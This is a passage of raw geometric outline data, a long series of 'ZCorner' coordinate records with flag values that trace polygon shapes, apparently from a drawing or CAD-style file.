65816 26192 0\nZCorner 65813 26191 0\nZCorner 65810 26190 0\nZCorner 65807 26189 0\nZCorner 65792 26180 0\nZCorner 65776 26170 0\nZCorner 65760 26160 0\nZCorner 65745 26150 0\nZCorner 65738 26150 0\nZCorner 65731 26150 0\nZCorner 65724 26150 0\nZCorner 65717 26150 0\nZCorner 65705 26147 0\nZCorner 65692 26144 0\nZCorner 65679 26142 0\nZCorner 65667 26139 0\nZCorner 65653 26141 0\nZCorner 65639 26143 0\nZCorner 65626 26145 0\nZCorner 65612 26146 0\nZCorner 65609 26146 0\nZCorner 65606 26146 0\nZCorner 65603 26146 0\nZCorner 65600 26146 0\nZCorner 65577 26151 0\nZCorner 65553 26156 0\nZCorner 65530 26161 0\nZCorner 65507 26166 0\nZCorner 65493 26174 0\nZCorner 65479 26182 0\nZCorner 65465 26189 0\nZCorner 65452 26197 0\nZCorner 65429 26220 0\nZCorner 65407 26242 0\nZCorner 65384 26265 0\nZCorner 65362 26287 0\nZCorner 65304 26395 0\nZCorner 65254 26475 0\nZCorner 65212 26526 0\nZCorner 65178 26549 0\nZCorner 65135 26550 0\nZCorner 65092 26551 0\nZCorner 65049 26552 0\nZCorner 65006 26553 0\nZCorner 65000 26550 0\nZCorner 64993 26547 0\nZCorner 64986 26544 0\nZCorner 64979 26541 0\nZCorner 64968 26535 0\nZCorner 64958 26528 0\nZCorner 64947 26521 0\nZCorner 64936 26514 0\nZCorner 64926 26501 0\nZCorner 64917 26489 0\nZCorner 64907 26476 0\nZCorner 64897 26463 0\nZCorner 64884 26444 0\nZCorner 64872 26424 0\nZCorner 64859 26405 0\nZCorner 64846 26385 0\nZCorner 64832 26366 0\nZCorner 64817 26346 0\nZCorner 64802 26327 0\nZCorner 64788 26307 0\nZCorner 64774 26292 0\nZCorner 64760 26276 0\nZCorner 64747 26260 0\nZCorner 64733 26245 0\nZCorner 64716 26234 0\nZCorner 64700 26223 0\nZCorner 64683 26212 0\nZCorner 64667 26202 0\nZCorner 64665 26200 0\nZCorner 64663 26198 0\nZCorner 64661 26196 0\nZCorner 64659 26194 0\nZCorner 64640 26188 0\nZCorner 64622 26182 0\nZCorner 64603 26176 0\nZCorner 64585 26170 0\nZCorner 64567 26168 0\nZCorner 64550 26165 0\nZCorner 64532 26162 0\nZCorner 64514 26159 0\nZCorner 64512 26158 0\nZCorner 64509 26157 0\nZCorner 64506 26156 0\nZCorner 64503 26155 0\nZCorner 64496 26155 0\nZCorner 64489 26155 0\nZCorner 64482 26155 0\nZCorner 64475 26155 0\nZCorner 64450 26153 0\nZCorner 64425 26151 0\nZCorner 64399 26149 0\nZCorner 64374 26147 0\nZCorner 64341 26148 0\nZCorner 64307 26149 0\nZCorner 64274 26150 0\nZCorner 64241 26151 0\nZCorner 64133 26182 0\nZCorner 64048 26227 0\nZCorner 63988 26286 0\nZCorner 63952 26358 0\nZCorner 63738 26358 0\nZCorner 63524 26358 0\nZCorner 63311 26358 0\nZCorner 63097 26358 0\nZCorner 63097 26370 0\nZCorner 63097 26381 0\nZCorner 63097 26393 0\nZCorner 63097 26405 0\nZCorner 63097 26407 0\nZCorner 63097 26409 0\nZCorner 63097 26411 0\nZCorner 63097 26413 0\nZCorner 63287 26413 0\nZCorner 63477 26413 0\nZCorner 63668 26413 0\nZCorner 63858 26413 0\nZCorner 63890 26405 0\nZCorner 63888 26442 0\nZCorner 63851 26522 0\nZCorner 63780 26647 0\nZCorner 63600 26647 0\nZCorner 63421 26647 0\nZCorner 63241 26647 0\nZCorner 63061 26647 0\nZCorner 62985 26755 0\nZCorner 62900 26838 0\nZCorner 62809 26897 0\nZCorner 62710 26932 0\nZCorner 62684 26941 0\nZCorner 62623 26949 0\nZCorner 62527 26955 0\nZCorner 62398 26959 0\nZCorner 62294 26957 0\nZCorner 62191 26955 0\nZCorner 62087 26953 0\nZCorner 61984 26951 0\nZCorner 61984 26924 0\nZCorner 61984 26897 0\nZCorner 61984 26869 0\nZCorner 61984 26842 0\nZCorner 61966 26851 0\nZCorner 61949 26860 0\nZCorner 61931 26868 0\nZCorner 61913 26877 0\nZCorner 61857 26900 0\nZCorner 61789 26920 0\nZCorner 61710 26938 0\nZCorner 61621 26951 0\nZCorner 61540 26954 0\nZCorner 61458 26957 0\nZCorner 61377 26960 0\nZCorner 61296 26963 0\nZCorner 61242 26956 0\nZCorner 61187 26950 0\nZCorner 61132 26943 0\nZCorner 61078 26936 0\nZCorner 60958 26885 0\nZCorner 60866 26856 0\nZCorner 60804 26848 0\nZCorner 60769 26862 0\nZCorner 60826 26903 0\nZCorner 60883 26944 0\nZCorner 60939 26985 0\nZCorner 60996 27026 0\nZCorner 60964 27081 0\nZCorner 60931 27137 0\nZCorner 60899 27192 0\nZCorner 60867 27248 0\nZCorner 60760 27197 0\nZCorner 60654 27147 0\nZCorner 60548 27096 0\nZCorner 60441 27045 0\nZCorner 60406 27092 0\nZCorner 60371 27139 0\nZCorner 60336 27186 0\nZCorner 60301 27232 0\nZCorner 60375 27323 0\nZCorner 60449 27414 0\nZCorner 60523 27505 0\nZCorner 60597 27596 0\nZCorner 60551 27640 0\nZCorner 60506 27685 0\nZCorner 60460 27730 0\nZCorner 60414 27775 0\nZCorner 60323 27700 0\nZCorner 60232 27625 0\nZCorner 60141 27550 0\nZCorner 60050 27475 0\nZCorner 60006 27511 0\nZCorner 59961 27547 0\nZCorner 59916 27583 0\nZCorner 59871 27619 0\nZCorner 59922 27724 0\nZCorner 59972 27830 0\nZCorner 60023 27935 0\nZCorner 60074 28041 0\nZCorner 60017 28074 0\nZCorner 59961 28107 0\nZCorner 59904 28140 0\nZCorner 59847 28174 0\nZCorner 59781 28082 0\nZCorner 59715 27990 0\nZCorner 59648 27898 0\nZCorner 59582 27806 0\nZCorner 59580 27805 0\nZCorner 59578 27803 0\nZCorner 59576 27801 0\nZCorner 59574 27799 0\nZCorner 59521 27822 0\nZCorner 59469 27846 0\nZCorner 59416 27869 0\nZCorner 59363 27892 0\nZCorner 59387 28007 0\nZCorner 59410 28121 0\nZCorner 59434 28235 0\nZCorner 59457 28349 0\nZCorner 59394 28369 0\nZCorner 59332 28388 0\nZCorner 59270 28408 0\nZCorner 59207 28427 0\nZCorner 59164 28320 0\nZCorner 59121 28213 0\nZCorner 59078 28105 0\nZCorner 59035 27998 0\nZCorner 58978 28008 0\nZCorner 58920 28019 0\nZCorner 58862 28030 0\nZCorner 58805 28041 0\nZCorner 58801 28157 0\nZCorner 58797 28273 0\nZCorner 58793 28389 0\nZCorner 58789 28506 0\nZCorner 58723 28509 0\nZCorner 58656 28513 0\nZCorner 58590 28517 0\nZCorner 58524 28521 0\nZCorner 58507 28405 0\nZCorner 58490 28289 0\nZCorner 58474 28172 0\nZCorner 58457 28056 0\nZCorner 58400 28053 0\nZCorner 58342 28050 0\nZCorner 58284 28048 0\nZCorner 58227 28045 0\nZCorner 58195 28157 0\nZCorner 58162 28269 0\nZCorner 58130 28382 0\nZCorner 58098 28494 0\nZCorner 58034 28483 0\nZCorner 57969 28472 0\nZCorner 57905 28461 0\nZCorner 57840 28451 0\nZCorner 57851 28334 0\nZCorner 57862 28216 0\nZCorner 57872 28099 0\nZCorner 57883 27982 0\nZCorner 57828 27965 0\nZCorner 57774 27947 0\nZCorner 57719 27929 0\nZCorner 57664 27912 0\nZCorner 57608 28012 0\nZCorner 57551 28113 0\nZCorner 57494 28214 0\nZCorner 57438 28314 0\nZCorner 57437 28322 0\nZCorner 57416 28317 0\nZCorner 57374 28299 0\nZCorner 57309 28267 0\nZCorner 57279 28257 0\nZCorner 57248 28246 0\nZCorner 57218 28235 0\nZCorner 57188 28224 0\nZCorner 57209 28159 0\nZCorner 57243 28062 0\nZCorner 57288 27933 0\nZCorner 57344 27771 0\nZCorner 57295 27742 0\nZCorner 57247 27713 0\nZCorner 57198 27684 0\nZCorner 57149 27654 0\nZCorner 57070 27736 0\nZCorner 56991 27818 0\nZCorner 56912 27900 0\nZCorner 56833 27982 0\nZCorner 56793 27962 0\nZCorner 56745 27930 0\nZCorner 56688 27887 0\nZCorner 56622 27834 0\nZCorner 56685 27736 0\nZCorner 56749 27639 0\nZCorner 56812 27541 0\nZCorner 56876 27443 0\nZCorner 56878 27444 0\nZCorner 56880 27445 0\nZCorner 56882 27446 0\nZCorner 56884 27447 0\nZCorner 56883 27446 0\nZCorner 56882 27445 0\nZCorner 56880 27444 0\nZCorner 56879 27443 0\nZCorner 56837 27400 0\nZCorner 56794 27358 0\nZCorner 56751 27315 0\nZCorner 56708 27272 0\nZCorner 56610 27337 0\nZCorner 56513 27402 0\nZCorner 56415 27468 0\nZCorner 56317 27533 0\nZCorner 56294 27503 0\nZCorner 56260 27459 0\nZCorner 56215 27399 0\nZCorner 56161 27322 0\nZCorner 56245 27244 0\nZCorner 56329 27166 0\nZCorner 56413 27088 0\nZCorner 56497 27010 0\nZCorner 56487 26991 0\nZCorner 56477 26973 0\nZCorner 56468 26954 0\nZCorner 56458 26936 0\nZCorner 56326 26939 0\nZCorner 56194 26942 0\nZCorner 56063 26945 0\nZCorner 55931 26947 0\nZCorner 55905 26944 0\nZCorner 55880 26940 0\nZCorner 55855 26936 0\nZCorner 55829 26932 0\nZCorner 55819 26926 0\nZCorner 55810 26920 0\nZCorner 55800 26914 0\nZCorner 55790 26908 0\nZCorner 55769 26884 0\nZCorner 55747 26860 0\nZCorner 55726 26835 0\nZCorner 55704 26811 0\nZCorner 55684 26799 0\nZCorner 55663 26787 0\nZCorner 55643 26776 0\nZCorner 55622 26764 0\nZCorner 55618 26778 0\nZCorner 55614 26791 0\nZCorner 55611 26805 0\nZCorner 55607 26819 0\nZCorner 55601 26830 0\nZCorner 55595 26842 0\nZCorner 55589 26854 0\nZCorner 55583 26865 0\nZCorner 55577 26872 0\nZCorner 55571 26879 0\nZCorner 55566 26886 0\nZCorner 55560 26893 0\nZCorner 55555 26897 0\nZCorner 55550 26901 0\nZCorner 55545 26905 0\nZCorner 55540 26908 0\nZCorner 55545 26918 0\nZCorner 55507 26924 0\nZCorner 55425 26925 0\nZCorner 55298 26924 0\nZCorner 54989 26923 0\nZCorner 54679 26922 0\nZCorner 54369 26921 0\nZCorner 54060 26920 0\nZCorner 53960 26863 0\nZCorner 53895 26798 0\nZCorner 53863 26726 0\nZCorner 53865 26647 0\nZCorner 53696 26647 0\nZCorner 53527 26647 0\nZCorner 53358 26647 0\nZCorner 53189 26647 0\nZCorner 53123 26536 0\nZCorner 53089 26459 0\nZCorner 53085 26418 0\nZCorner 53111 26413 0\nZCorner 53300 26413 0\nZCorner 53490 26413 0\nZCorner 53679 26413 0\nZCorner 53869 26413 0\nZCorner 53869 26411 0\nZCorner 53869 26409 0\nZCorner 53869 26407 0\nZCorner 53869 26405 0\nZCorner 53869 26393 0\nZCorner 53869 26381 0\nZCorner 53869 26370 0\nZCorner 53869 26358 0\nZCorner 53654 26358 0\nZCorner 53439 26358 0\nZCorner 53224 26358 0\nZCorner 53010 26358 0\nZCorner 52953 26259 0\nZCorner 52866 26191 0\nZCorner 52747 26154 0\nZCorner 52596 26147 0\nZCorner 52570 26149 0\nZCorner 52545 26151 0\nZCorner 52519 26153 0\nZCorner 52494 26155 0\nZCorner 52487 26155 0\nZCorner 52480 26155 0\nZCorner 52474 26155 0\nZCorner 52467 26155 0\nZCorner 52464 26156 0\nZCorner 52461 26157 0\nZCorner 52458 26158 0\nZCorner 52455 26159 0\nZCorner 52437 26162 0\nZCorner 52420 26165 0\nZCorner 52402 26168 0\nZCorner 52385 26170 0\nZCorner 52367 26176 0\nZCorner 52350 26182 0\nZCorner 52332 26188 0\nZCorner 52315 26194 0\nZCorner 52313 26196 0\nZCorner 52310 26198 0\nZCorner 52308 26200 0\nZCorner 52306 26202 0\nZCorner 52290 26212 0\nZCorner 52273 26223 0\nZCorner 52257 26234 0\nZCorner 52240 26245 0\nZCorner 52227 26260 0\nZCorner 52213 26276 0\nZCorner 52199 26292 0\nZCorner 52185 26307 0\nZCorner 52172 26327 0\nZCorner 52158 26346 0\nZCorner 52144 26366 0\nZCorner 52131 26385 0\nZCorner 52117 26405 0\nZCorner 52103 26424 0\nZCorner 52090 26444 0\nZCorner 52076 26463 0\nZCorner 52065 26476 0\nZCorner 52054 26489 0\nZCorner 52044 26502 0\nZCorner 52033 26514 0\nZCorner 52022 26521 0\nZCorner 52011 26528 0\nZCorner 52000 26535 0\nZCorner 51990 26542 0\nZCorner 51983 26544 0\nZCorner 51976 26547 0\nZCorner 51969 26550 0\nZCorner 51963 26553 0\nZCorner 51924 26553 0\nZCorner 51885 26553 0\nZCorner 51846 26553 0\nZCorner 51807 26553 0\nZCorner 51797 26547 0\nZCorner 51787 26542 0\nZCorner 51777 26536 0\nZCorner 51767 26530 0\nZCorner 51748 26505 0\nZCorner 51728 26481 0\nZCorner 51709 26457 0\nZCorner 51689 26432 0\nZCorner 51641 26344 0\nZCorner 51601 26280 0\nZCorner 51569 26239 0\nZCorner 51545 26221 0\nZCorner 51524 26208 0\nZCorner 51504 26194 0\nZCorner 51483 26180 0\nZCorner 51463 26167 0\nZCorner 51439 26162 0\nZCorner 51416 26157 0\nZCorner 51392 26152 0\nZCorner 51369 26147 0\nZCorner 51366 26147 0\nZCorner 51363 26147 0\nZCorner 51360 26147 0\nZCorner 51357 26147 0\nZCorner 51341 26145 0\nZCorner 51326 26143 0\nZCorner 51310 26141 0\nZCorner 51295 26139 0\nZCorner 51284 26142 0\nZCorner 51273 26145 0\nZCorner 51262 26148 0\nZCorner 51252 26151 0\nZCorner 51245 26151 0\nZCorner 51238 26151 0\nZCorner 51231 26151 0\nZCorner 51224 26151 0\nZCorner 51209 26161 0\nZCorner 51193 26171 0\nZCorner 51178 26180 0\nZCorner 51162 26190 0\nZCorner 51160 26191 0\nZCorner 51158 26192 0\nZCorner 51156 26193 0\nZCorner 51154 26194 0\nZCorner 51141 26207 0\nZCorner 51129 26219 0\nZCorner 51116 26232 0\nZCorner 51103 26245 0\nZCorner 51090 26261 0\nZCorner 51076 26276 0\nZCorner 51062 26292 0\nZCorner 51049 26307 0\nZCorner 51034 26322 0\nZCorner 51019 26337 0\nZCorner 51005 26351 0\nZCorner 50990 26366 0\nZCorner 50975 26376 0\nZCorner 50961 26385 0\nZCorner 50946 26395 0\nZCorner 50931 26405 0\nZCorner 50920 26408 0\nZCorner 50908 26411 0\nZCorner 50896 26414 0\nZCorner 50885 26417 0\nZCorner 50884 26417 0\nZCorner 50883 26417 0\nZCorner 50882 26417 0\nZCorner 50881 26417 0\nZCorner 50876 26418 0\nZCorner 50871 26419 0\nZCorner 50866 26420 0\nZCorner 50861 26421 0\nZCorner 50838 26415 0\nZCorner 50814 26409 0\nZCorner 50791 26403 0\nZCorner 50767 26397 0\nZCorner 50763 26393 0\nZCorner 50760 26389 0\nZCorner 50756 26386 0\nZCorner 50752 26382 0\nZCorner 50638 26234 0\nZCorner 50550 26135 0\nZCorner 50487 26086 0\nZCorner 50451 26085 0\nZCorner 50441 26084 0\nZCorner 50431 26083 0\nZCorner 50422 26082 0\nZCorner 50412 26081 0\nZCorner 50390 26081 0\nZCorner 50367 26081 0\nZCorner 50345 26081 0\nZCorner 50322 26081 0\nZCorner 50308 26086 0\nZCorner 50295 26091 0\nZCorner 50281 26096 0\nZCorner 50268 26100 0\nZCorner 50259 26105 0\nZCorner 50250 26110 0\nZCorner 50241 26115 0\nZCorner 50232 26120 0\nZCorner 50224 26126 0\nZCorner 50217 26132 0\nZCorner 50209 26138 0\nZCorner 50201 26143 0\nZCorner 50193 26149 0\nZCorner 50185 26155 0\nZCorner 50177 26161 0\nZCorner 50170 26167 0\nZCorner 50158 26171 0\nZCorner 50146 26175 0\nZCorner 50135 26179 0\nZCorner 50123 26182 0\nZCorner 50114 26183 0\nZCorner 50105 26184 0\nZCorner 50096 26185 0\nZCorner 50087 26186 0\nZCorner 50059 26185 0\nZCorner 50031 26184 0\nZCorner 50003 26183 0\nZCorner 49974 26182 0\nZCorner 49934 26172 0\nZCorner 49902 26158 0\nZCorner 49879 26141 0\nZCorner 49865 26124 0\nZCorner 49832 26071 0\nZCorner 49808 26013 0\nZCorner 49793 25948 0\nZCorner 49787 25878 0\nZCorner 49724 25803 0\nZCorner 49662 25727 0\nZCorner 49599 25652 0\nZCorner 49537 25577 0\nZCorner 50622 25577 0\nZCorner 51706 25577 0\nZCorner 52791 25577 0\nZCorner 53876 25577 0\nZCorner 53876 25534 0\nZCorner 53876 25491 0\nZCorner 53876 25448 0\nZCorner 53876 25405 0\nZCorner 53876 25403 0\nZCorner 53876 25401 0\nZCorner 53876 25399 0\nZCorner 53876 25397 0\nZCorner 53800 25398 0\nZCorner 53724 25399 0\nZCorner 53647 25400 0\nZCorner 53571 25401 0\nZCorner 52551 25400 0\nZCorner 51531 25399 0\nZCorner 50510 25398 0\nZCorner 49490 25397 0\nZCorner 49490 25397 0\nZCorner 49490 25395 0\nZCorner 49488 25392 0\nZCorner 49486 25390 0\nZCorner 49462 25350 0\nZCorner 49413 25284 0\nZCorner 49339 25192 0\nZCorner 49240 25073 0\nZCorner 49240 25062 0\nZCorner 49240 25050 0\nZCorner 49240 25038 0\nZCorner 49240 25026 0\nZCorner 50400 25026 0\nZCorner 51560 25026 0\nZCorner 52720 25026 0\nZCorner 53880 25026 1\nZCorner 63105 26030 0\nZCorner 63605 26030 0\nZCorner 64104 26030 0\nZCorner 64604 26030 0\nZCorner 65104 26030 0\nZCorner 65137 26029 0\nZCorner 65171 26028 0\nZCorner 65204 26027 0\nZCorner 65237 26026 0\nZCorner 65198 25987 0\nZCorner 65159 25948 0\nZCorner 65120 25909 0\nZCorner 65081 25870 0\nZCorner 65047 25870 0\nZCorner 65012 25870 0\nZCorner 64978 25870 0\nZCorner 64944 25870 0\nZCorner 64484 25870 0\nZCorner 64024 25870 0\nZCorner 63564 25870 0\nZCorner 63105 25870 0\nZCorner 63105 25910 0\nZCorner 63105 25950 0\nZCorner 63105 25990 0\nZCorner 63105 26030 1\nZCorner 62183 26604 0\nZCorner 62269 26604 0\nZCorner 62355 26604 0\nZCorner 62441 26604 0\nZCorner 62527 26604 0\nZCorner 62606 26598 0\nZCorner 62664 26592 0\nZCorner 62699 26585 0\nZCorner 62710 26577 0\nZCorner 62813 26518 0\nZCorner 62880 26435 0\nZCorner 62912 26327 0\nZCorner 62909 26194 0\nZCorner 62909 25925 0\nZCorner 62909 25657 0\nZCorner 62909 25388 0\nZCorner 62909 25120 0\nZCorner 62922 25120 0\nZCorner 62935 25120 0\nZCorner 62948 25120 0\nZCorner 62960 25120 0\nZCorner 62974 25118 0\nZCorner 62988 25116 0\nZCorner 63001 25114 0\nZCorner 63015 25112 0\nZCorner 63019 25111 0\nZCorner 63023 25110 0\nZCorner 63027 25109 0\nZCorner 63030 25108 0\nZCorner 63030 25088 0\nZCorner 63030 25067 0\nZCorner 63030 25047 0\nZCorner 63030 25026 0\nZCorner 63030 24981 0\nZCorner 63030 24936 0\nZCorner 63030 24891 0\nZCorner 63030 24846 0\nZCorner 63030 24841 0\nZCorner 63030 24835 0\nZCorner 63030 24829 0\nZCorner 63030 24823 0\nZCorner 63013 24823 0\nZCorner 62995 24823 0\nZCorner 62978 24823 0\nZCorner 62960 24823 0\nZCorner 62948 24822 0\nZCorner 62935 24821 0\nZCorner 62922 24820 0\nZCorner 62909 24819 0\nZCorner 62909 24750 0\nZCorner 62909 24680 0\nZCorner 62909 24611 0\nZCorner 62909 24542 0\nZCorner 62771 24542 0\nZCorner 62632 24542 0\nZCorner 62493 24542 0\nZCorner 62355 24542 0\nZCorner 62344 24546 0\nZCorner 62333 24550 0\nZCorner 62323 24553 0\nZCorner 62312 24557 0\nZCorner 62313 24624 0\nZCorner 62314 24690 0\nZCorner 62315 24757 0\nZCorner 62316 24823 0\nZCorner 62286 24824 0\nZCorner 62257 24825 0\nZCorner 62228 24826 0\nZCorner 62199 24827 0\nZCorner 62192 24828 0\nZCorner 62185 24829 0\nZCorner 62178 24830 0\nZCorner 62171 24831 0\nZCorner 62169 24834 0\nZCorner 62167 24837 0\nZCorner 62165 24840 0\nZCorner 62163 24842 0\nZCorner 62163 24910 0\nZCorner 62163 24977 0\nZCorner 62163 25045 0\nZCorner 62163 25112 0\nZCorner 62166 25114 0\nZCorner 62169 25116 0\nZCorner 62172 25118 0\nZCorner 62175 25120 0\nZCorner 62210 25120 0\nZCorner 62245 25120 0\nZCorner 62281 25120 0\nZCorner 62316 25120 0\nZCorner 62315 25388 0\nZCorner 62314 25657 0\nZCorner 62313 25925 0\nZCorner 62312 26194 0\nZCorner 62318 26246 0\nZCorner 62302 26283 0\nZCorner 62264 26305 0\nZCorner 62202 26311 0\nZCorner 62190 26310 0\nZCorner 62177 26309 0\nZCorner 62164 26308 0\nZCorner 62152 26307 0\nZCorner 62150 26379 0\nZCorner 62148 26452 0\nZCorner 62146 26524 0\nZCorner 62144 26596 0\nZCorner 62154 26598 0\nZCorner 62163 26600 0\nZCorner 62173 26602 0\nZCorner 62183 26604 1\nZCorner 60804 26010 0\nZCorner 60808 26056 0\nZCorner 60812 26102 0\nZCorner 60816 26148 0\nZCorner 60820 26194 0\nZCorner 60850 26310 0\nZCorner 60911 26412 0\nZCorner 61004 26500 0\nZCorner 61128 26577 0\nZCorner 61129 26577 0\nZCorner 61130 26577 0\nZCorner 61131 26577 0\nZCorner 61132 26577 0\nZCorner 61133 26578 0\nZCorner 61134 26579 0\nZCorner 61135 26580 0\nZCorner 61136 26581 0\nZCorner 61139 26581 0\nZCorner 61142 26582 0\nZCorner 61145 26583 0\nZCorner 61148 26584 0\nZCorner 61366 26623 0\nZCorner 61551 26635 0\nZCorner 61703 26619 0\nZCorner 61820 26577 0\nZCorner 61917 26529 0\nZCorner 61993 26450 0\nZCorner 62049 26338 0\nZCorner 62085 26194 0\nZCorner 62089 26159 0\nZCorner 62093 26124 0\nZCorner 62097 26088 0\nZCorner 62101 26053 0\nZCorner 62101 25898 0\nZCorner 62101 25743 0\nZCorner 62101 25587 0\nZCorner 62101 25432 0\nZCorner 62097 25379 0\nZCorner 62093 25325 0\nZCorner 62089 25271 0\nZCorner 62085 25217 0\nZCorner 62073 25175 0\nZCorner 62062 25133 0\nZCorner 62050 25091 0\nZCorner 62038 25049 0\nZCorner 61890 24863 0\nZCorner 61678 24768 0\nZCorner 61403 24764 0\nZCorner 61066 24850 0\nZCorner 61063 24851 0\nZCorner 61060 24852 0\nZCorner 61057 24853 0\nZCorner 61054 24854 0\nZCorner 61052 24856 0\nZCorner 61050 24858 0\nZCorner 61048 24860 0\nZCorner 61046 24862 0\nZCorner 61026 24869 0\nZCorner 61002 24883 0\nZCorner 60974 24905 0\nZCorner 60941 24936 0\nZCorner 60921 24964 0\nZCorner 60902 24993 0\nZCorner 60882 25021 0\nZCorner 60863 25049 0\nZCorner 60852 25080 0\nZCorner 60841 25110 0\nZCorner 60830 25140 0\nZCorner 60820 25170 0\nZCorner 60815 25236 0\nZCorner 60810 25301 0\nZCorner 60805 25367 0\nZCorner 60800 25432 0\nZCorner 60801 25577 0\nZCorner 60802 25721 0\nZCorner 60803 25866 0\nZCorner 60804 26010 1\nZCorner 59391 25260 0\nZCorner 59391 25267 0\nZCorner 59391 25274 0\nZCorner 59391 25281 0\nZCorner 59391 25288 0\nZCorner 59391 25491 0\nZCorner 59391 25694 0\nZCorner 59391 25897 0\nZCorner 59391 26100 0\nZCorner 59392 26106 0\nZCorner 59392 26112 0\nZCorner 59393 26118 0\nZCorner 59394 26124 0\nZCorner 59394 26127 0\nZCorner 59394 26129 0\nZCorner 59394 26132 0\nZCorner 59394 26135 0\nZCorner 59395 26141 0\nZCorner 59396 26147 0\nZCorner 59397 26153 0\nZCorner 59398 26159 0\nZCorner 59398 26161 0\nZCorner 59398 26163 0\nZCorner 59398 26165 0\nZCorner 59398 26167 0\nZCorner 59399 26172 0\nZCorner 59400 26176 0\nZCorner 59401 26181 0\nZCorner 59402 26186 0\nZCorner 59402 26189 0\nZCorner 59402 26192 0\nZCorner 59402 26195 0\nZCorner 59402 26198 0\nZCorner 59403 26201 0\nZCorner 59404 26204 0\nZCorner 59405 26207 0\nZCorner 59406 26209 0\nZCorner 59406 26210 0\nZCorner 59406 26211 0\nZCorner 59406 26212 0\nZCorner 59406 26213 0\nZCorner 59407 26217 0\nZCorner 59408 26221 0\nZCorner 59409 26225 0\nZCorner 59410 26229 0\nZCorner 59410 26230 0\nZCorner 59410 26231 0\nZCorner 59410 26232 0\nZCorner 59410 26233 0\nZCorner 59411 26235 0\nZCorner 59412 26237 0\nZCorner 59413 26239 0\nZCorner 59414 26241 0\nZCorner 59414 26242 0\nZCorner 59414 26243 0\nZCorner 59414 26244 0\nZCorner 59414 26245 0\nZCorner 59419 26258 0\nZCorner 59424 26272 0\nZCorner 59429 26286 0\nZCorner 59433 26299 0\nZCorner 59470 26383 0\nZCorner 59527 26457 0\nZCorner 59605 26522 0\nZCorner 59703 26577 0\nZCorner 59926 26620 0\nZCorner 60113 26635 0\nZCorner 60265 26620 0\nZCorner 60382 26577 0\nZCorner 60491 26509 0\nZCorner 60573 26423 0\nZCorner 60626 26318 0\nZCorner 60652 26194 0\nZCorner 60656 26098 0\nZCorner 60660 26002 0\nZCorner 60664 25907 0\nZCorner 60667 25811 0\nZCorner 60663 25660 0\nZCorner 60658 25508 0\nZCorner 60653 25357 0\nZCorner 60648 25206 0\nZCorner 60637 25167 0\nZCorner 60626 25128 0\nZCorner 60616 25089 0\nZCorner 60605 25049 0\nZCorner 60506 24906 0\nZCorner 60367 24808 0\nZCorner 60188 24756 0\nZCorner 59968 24749 0\nZCorner 59780 24787 0\nZCorner 59630 24849 0\nZCorner 59519 24937 0\nZCorner 59449 25049 0\nZCorner 59438 25075 0\nZCorner 59427 25100 0\nZCorner 59417 25126 0\nZCorner 59406 25151 0\nZCorner 59405 25157 0\nZCorner 59404 25163 0\nZCorner 59403 25169 0\nZCorner 59402 25175 0\nZCorner 59401 25177 0\nZCorner 59400 25180 0\nZCorner 59399 25183 0\nZCorner 59398 25186 0\nZCorner 59398 25189 0\nZCorner 59398 25192 0\nZCorner 59398 25195 0\nZCorner 59398 25198 0\nZCorner 59397 25202 0\nZCorner 59396 25206 0\nZCorner 59395 25210 0\nZCorner 59394 25214 0\nZCorner 59394 25216 0\nZCorner 59394 25219 0\nZCorner 59394 25222 0\nZCorner 59394 25225 0\nZCorner 59393 25229 0\nZCorner 59392 25233 0\nZCorner 59391 25237 0\nZCorner 59390 25241 0\nZCorner 59390 25246 0\nZCorner 59390 25251 0\nZCorner 59390 25256 0\nZCorner 59391 25260 1\nZCorner 58930 26604 0\nZCorner 58930 26406 0\nZCorner 58930 26208 0\nZCorner 58930 26009 0\nZCorner 58930 25811 0\nZCorner 58934 25638 0\nZCorner 58952 25516 0\nZCorner 58984 25448 0\nZCorner 59027 25432 0\nZCorner 59051 25425 0\nZCorner 59074 25417 0\nZCorner 59098 25409 0\nZCorner 59121 25401 0\nZCorner 59122 25401 0\nZCorner 59123 25401 0\nZCorner 59124 25401 0\nZCorner 59125 25401 0\nZCorner 59156 25398 0\nZCorner 59187 25395 0\nZCorner 59219 25392 0\nZCorner 59250 25389 0\nZCorner 59251 25229 0\nZCorner 59252 25069 0\nZCorner 59253 24909 0\nZCorner 59254 24749 0\nZCorner 59249 24749 0\nZCorner 59244 24749 0\nZCorner 59239 24749 0\nZCorner 59234 24749 0\nZCorner 59149 24766 0\nZCorner 59066 24812 0\nZCorner 58987 24888 0\nZCorner 58910 24995 0\nZCorner 58914 24942 0\nZCorner 58918 24889 0\nZCorner 58922 24837 0\nZCorner 58926 24784 0\nZCorner 58787 24784 0\nZCorner 58648 24784 0\nZCorner 58510 24784 0\nZCorner 58371 24784 0\nZCorner 58371 25232 0\nZCorner 58371 25680 0\nZCorner 58371 26128 0\nZCorner 58371 26577 0\nZCorner 58345 26585 0\nZCorner 58429 26592 0\nZCorner 58624 26598 0\nZCorner 58930 26604 1\nZCorner 57555 25085 0\nZCorner 57574 25085 0\nZCorner 57592 25085 0\nZCorner 57611 25085 0\nZCorner 57629 25085 0\nZCorner 57636 25092 0\nZCorner 57643 25098 0\nZCorner 57650 25105 0\nZCorner 57657 25112 0\nZCorner 57658 25131 0\nZCorner 57660 25149 0\nZCorner 57662 25168 0\nZCorner 57664 25186 0\nZCorner 57664 25438 0\nZCorner 57664 25690 0\nZCorner 57664 25942 0\nZCorner 57664 26194 0\nZCorner 57658 26213 0\nZCorner 57653 26233 0\nZCorner 57647 26252 0\nZCorner 57641 26272 0\nZCorner 57630 26281 0\nZCorner 57619 26289 0\nZCorner 57609 26298 0\nZCorner 57598 26307 0\nZCorner 57579 26304 0\nZCorner 57561 26301 0\nZCorner 57542 26298 0\nZCorner 57524 26295 0\nZCorner 57522 26293 0\nZCorner 57520 26291 0\nZCorner 57518 26289 0\nZCorner 57516 26288 0\nZCorner 57512 26280 0\nZCorner 57508 26272 0\nZCorner 57504 26264 0\nZCorner 57500 26256 0\nZCorner 57498 26250 0\nZCorner 57496 26245 0\nZCorner 57494 26239 0\nZCorner 57492 26233 0\nZCorner 57491 26216 0\nZCorner 57491 26200 0\nZCorner 57490 26183 0\nZCorner 57489 26166 0\nZCorner 57490 26164 0\nZCorner 57491 26162 0\nZCorner 57491 26160 0\nZCorner 57492 26158 0\nZCorner 57491 26158 0\nZCorner 57491 26158 0\nZCorner 57490 26158 0\nZCorner 57489 26158 0\nZCorner 57487 26144 0\nZCorner 57485 26129 0\nZCorner 57483 26115 0\nZCorner 57481 26100 0\nZCorner 57483 26098 0\nZCorner 57485 26096 0\nZCorner 57487 26094 0\nZCorner 57489 26092 0\nZCorner 57487 26092 0\nZCorner 57485 26092 